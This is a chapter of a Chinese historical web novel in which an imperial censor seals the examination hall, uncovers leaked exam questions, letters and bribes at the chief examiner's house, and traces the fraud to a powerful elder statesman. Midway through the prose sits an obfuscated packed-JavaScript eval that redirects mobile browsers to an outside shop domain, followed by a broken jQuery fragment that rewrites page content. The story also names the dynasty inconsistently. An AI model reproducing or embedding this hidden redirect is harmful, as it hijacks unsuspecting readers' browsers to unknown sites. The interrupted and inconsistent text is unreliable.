一夜未眠的筹备,让陈景殊的眼底带着些许红血丝,目光却愈发锐利如鹰。
他深知,查案争的便是寸寸光阴,拖延一日,证据便多一分被销毁的风险,皇子与世家的阻挠,便多一分可乘之机。
天方破晓,晨曦微露,东方天际泛起一抹鱼肚白。
陈景殊已整装起身,换上一身深绯色御史官袍,腰束玉带,手握天子亲赐尚方宝剑,步履沉稳,大步踏出府邸。
门外,数十名精挑细选的御史台亲卫与殿前司禁军早已列阵肃立,甲胄鲜明,枪刃如霜,整支队伍静立无声,唯有甲叶相触的轻响在晨风中低回,透着一股雷霆将至的威严。
陈景殊翻身上马,长鞭凌空一扬,清越之声穿透晨雾:“随我前往贡院!”
马蹄声轰然踏碎京城的宁静,一队人马铁甲铿锵,直奔城东贡院而去。沿途百姓望见持尚方宝剑的钦差仪仗,纷纷退避道旁,目光里有敬畏,有忐忑,更有压抑已久的期盼。
抵达贡院时,门庭之间仍残留着昨日士子请愿的痕迹:朱红大门上深浅不一的掌印,青石板上散落的诗文稿卷,无声诉说着前一日的群情激愤。
陈景殊勒马驻足,冷眸扫过围在外围的零星士子,沉声道:“闲杂人等即刻退避,敢拦钦差仪仗者,以扰乱公务论处!”
禁军应声上前,长枪列阵,如同一道铁壁,将士子稳稳护在安全地界。
贡院作为大靖王朝选拔人才的核心之地,平日里门禁森严,春闱期间更是戒备重重,围墙遍插棘刺,以防内外勾连。可此刻,陈景殊的人马如黑云压城,顷刻间便将贡院围得水泄不通。
守院官兵见来人是钦命主审陈景殊,又见尚方宝剑寒光慑人,哪里敢有半分违抗,当即躬身退至两侧,任由禁军接管全部防卫,棘墙内外,瞬间戒严。
陈景殊立于贡院正门高台之上,绯色官袍迎风微扬,声线清冷威严,传遍四方:“本钦差奉圣旨彻查春闱弊案,现颁下命令。第一,即刻封存今科所有考卷、题板、监考记录与弥封名册,一文一纸不得擅动,交由御史台专人看管,违者以同罪论处;第二,贡院涉考官员,自知贡举主考、权知贡举副考,至弥封官、誊录官、监场御史,共计一十七人,全部就地控制,单独羁押,不许私语,不许外传一字消息,违者立斩!”
命令既出,奉命受控的官员瞬间乱作一团。
知贡举主考官魏文谦站在人群最前,一身正四品官袍,平日里端持着儒雅清正的姿态,手握天下士子前程,何等风光无限。此刻他眼底惊惶难掩,却仍强撑体面,厉声开口:“陈景殊!我等奉旨主持春闱,夙夜在公,从无差池!你这般贸然行事,就不怕惊动圣驾,担上构陷朝廷命官的重罪吗?”
陈景殊淡淡瞥他一眼,语气平静无波,却字字千钧:“魏大人,是否构陷,一查便知。天子亲授符节,本官持剑行事,心中无愧,又何必急于辩解?”
一句话堵得魏文谦哑口无言,脸色由红转白,由白转青,最终只能悻悻闭口,眼底掠过一丝难以掩饰的慌乱。
封锁完毕,陈景殊亲自带队,由贡院核心之地考官厅起步彻查。此处是主副考官拟定考题、批阅试卷的机要重地,寻常人不得踏入半步,每一寸角落,都可能藏着舞弊的罪证。
陈景殊亲自动手,翻查书架典籍、案头文卷、抽屉纸笔,细致入微,不肯放过一丝一毫蛛丝马迹。禁军卫士则逐屋搜查,桌椅、墙壁、地面、房梁、棘墙夹缝,一一核验,不敢有半分疏漏。厅内气氛凝重如铁,落针可闻,唯有纸张翻动的沙沙声与脚步声交织,压得人喘不过气。
半个时辰过去,考官厅内并未搜出直接证据。魏文谦悬着的心稍稍落地,嘴角勾起一抹隐晦的得意,只当陈景殊不过是虚张声势,抓不到半分把柄。
可陈景殊却并未就此停步,他抬眼看向魏文谦,目光锐利如刀:“魏大人,贡院考官厅无获,那便去你的私宅一查。”
魏文谦浑身一僵,脸色骤然大变,下意识后退一步,声音都开始发颤:“陈景殊!你放肆!私闯朝廷命官私宅,是大不敬之罪,依律当革职查办!”
“奉旨查案,纵是皇宫内苑,本官亦敢前往,何况一座私宅?”陈景殊语气冰冷,不容置喙,“带走魏文谦,其余官员严加看管,随我前往魏府!”
禁军一拥而上,将挣扎嘶吼的魏文谦牢牢控制,玄铁锁链缠紧双臂,任他如何挣扎,也无济于事。一行人浩浩荡荡,直奔魏文谦位于城西的私宅。
魏府朱门高墙,庭院幽深,亭台楼阁精巧华丽,尽显官宦气派,可此刻,整座府邸都被阴霾笼罩,形同囚笼。
陈景殊下令封锁魏府所有出入口,前后门皆由禁军把守,禁止任何人出入,随即亲自带队进入内宅。他深知,科场舞弊事关国本,考题泄露的证据绝不会摆在明处,必定藏于极为隐秘之地。当即下令,重点搜查书房、卧室、密室,墙壁暗格、地板夹层、假山石洞、佛龛暗层,一寸之地都不得放过。
卫士们分工明确,有条不紊地展开清查。魏文谦被按在庭院青石板上,眼睁睁看着自己的府邸被彻底翻查,浑身瑟瑟发抖,额间冷汗涔涔而下,浸湿官袍,眼神绝望如死灰,只剩喉咙里发出嗬嗬的残响。
没过多久,内宅主卧床底暗格处,传来卫士洪亮的禀报:“大人,找到了!”
陈景殊立刻迈步上前,绯色官袍扫过青石地面,不带一丝波澜。只见卫士单膝跪地,从暗格之中取出数件物证,恭敬呈上。
第一样,是半张泛黄宣纸,纸上小楷工整,赫然写着今科会试策论与经义考题,字迹潦草,显是仓促写下的夹带,边缘留有撕扯痕迹,与贡院封存题板一字不差,铁证如山,无可抵赖。
第二样,是七封密封严密的密信,信纸为江南特制云纹笺,封口盖有隐秘私印,信中以暗号、代称往来,字字句句皆是考题泄露、士子打点、利益输送的罪证,收寄双方清晰可辨,直指朝中世家权贵与考场官员。
第三样,是沉甸甸的赃款赃物。两只樟木箱内,黄金两千两,金光耀目;三只琉璃斛中,东海东珠圆润莹润,颗颗价值连城,在日光下折射出璀璨华光,晃人眼目。
所有证据一字排开,摆在魏文谦面前。
考题纸片是他亲手所书,密信是他与权贵往来的铁证,黄金明珠是门阀送来的贿银。桩桩件件,将他的罪行钉死在原地,无从辩驳,无处遁逃。
魏文谦看着眼前一切,瞳孔骤缩,面如死灰,浑身力气仿佛被瞬间抽干。他双腿一软,“扑通”一声重重瘫倒在地,额头磕在青石板上,渗出血丝也浑然不觉,口中喃喃破碎:“完了……全完了……是张家害我……”
昔日高高在上、执掌士子前程的主考官,此刻披头散发,形同丧家之犬,再无半分官威。周围的卫士冷眼旁观,无人同情,科场舞弊乃是国之大忌,动摇朝廷取士之本,祸害天下寒门士子,这般罪行,天理难容,国法不容。
陈景殊看着瘫倒在地的魏文谦,眼底没有半分怜悯。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618787|206144||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他俯身拾起那七封密信,指尖轻轻拂过纸面字迹,逐字逐句研读,眉头缓缓蹙起。
他敏锐地察觉,这桩弊案,远非表面考官受贿那般简单。
大雍科场舞弊偶有发生,多为考官私收钱财、中饱私囊,财物理应留在手中。可这七封密信清晰记载,魏文谦所收黄金明珠,并未私吞,而是按约定分出大半,逐级往上递送。层层盘剥,层层转输,如一张巨大蛛网,将朝中数位官员缠缚其中,脉络清晰,直指一人。
陈景殊命人即刻将密信整理成卷,交由御史台精通密文与账目的老吏核对拆解,对照朝官名录逐一还原暗号。随着线索层层清晰,金钱与权力的最终流向,缓缓浮出水面。
一个让满朝文武闻之色变的名字,落在卷宗之上。
张从安。
一旁整理文书的老御史瞥见此名,忍不住倒吸一口凉气,握笔的手指微微发颤,下意识看向陈景殊,眼神里满是担忧与惊惧。
张从安,三朝元老,官拜太子太傅,封燕国公,虽已半退朝堂,却位居三公,威望滔天。他为官数十载,门生故吏遍布天下,朝堂半数官员,非其门生,即其故交,四方世家大族皆以其马首是瞻,堪称大雍世家集团的真正领袖。权势根深蒂固,党羽盘根错节,就连当今陛下,也要对他礼让三分。
陈景殊站在案前,目光死死盯住“张从安”三字,眼底依旧深不见底,没有半分情绪外露,仿佛只是看到一个寻常姓名。
魏文谦不过是一枚台前弃子。
真正操控整场科场舞弊,结党营私、收拢门生、扩充门阀势力、把持朝政的幕后黑手,正是张从安。他以科场为棋局,以考官为棋子,以天下士子为鱼肉,妄图将朝廷选材之权牢牢握在手中,让天下英才尽出其门,好继续只手遮天,稳坐权力之巅。
而这盘精心布下的棋局,恰恰撞在了陈景殊的枪口上。
陈景殊缓缓闭上双眼,深吸一口气,将心底翻涌的情绪尽数压下,再睁眼时,眼底只剩一片冰冷的决绝。
他合上卷宗,声音平静,却带着不容置疑的力量,吩咐身旁御史:“所有证据原样封存,入御史台密库,由禁军亲自看守;魏文谦及一众涉事官员,押入御史台诏狱,单独羁押,不许任何人探视,不许外传半字消息。张从安涉案一事,暂且秘而不宣,继续深挖密信线索,查清所有牵连之人,逐一记录在案,不得有半分遗漏。”
“是,大人!”
御史领命而去,魏府的搜查与押解有条不紊地进行。阳光透过梧桐叶,洒下斑驳光影,落在陈景殊身上,将他的身影拉得修长而孤直。
绯色官袍被春风拂动,却吹不散他周身的凛冽寒意。他抬头望向皇城金銮殿的方向,眸中寒芒一闪,如利刃出鞘,直指苍穹。
张从安,你以为能永远高枕无忧?
如今,你亲手布下的科场棋局,已成暴露自己的致命破绽,你引以为傲的世家势力,早已成为拖你入深渊的锁链。
猎物已然现身,猎人收网之时,近在咫尺。
贡院封锁,考官落网,证据确凿,线索直指三朝元老。
一场席卷大靖朝堂、撼动百年门阀根基的滔天风暴,才刚刚拉开序幕。
而陈景殊立于风暴中央,手持钦差符剑,心藏十年沉冤,一步一步,坚定不移地,朝着他追寻了整整十年的真相走去。
这一路,纵然前路荆棘丛生,纵然对手权势滔天,纵然满朝文武尽是其党羽,他也绝不后退半步。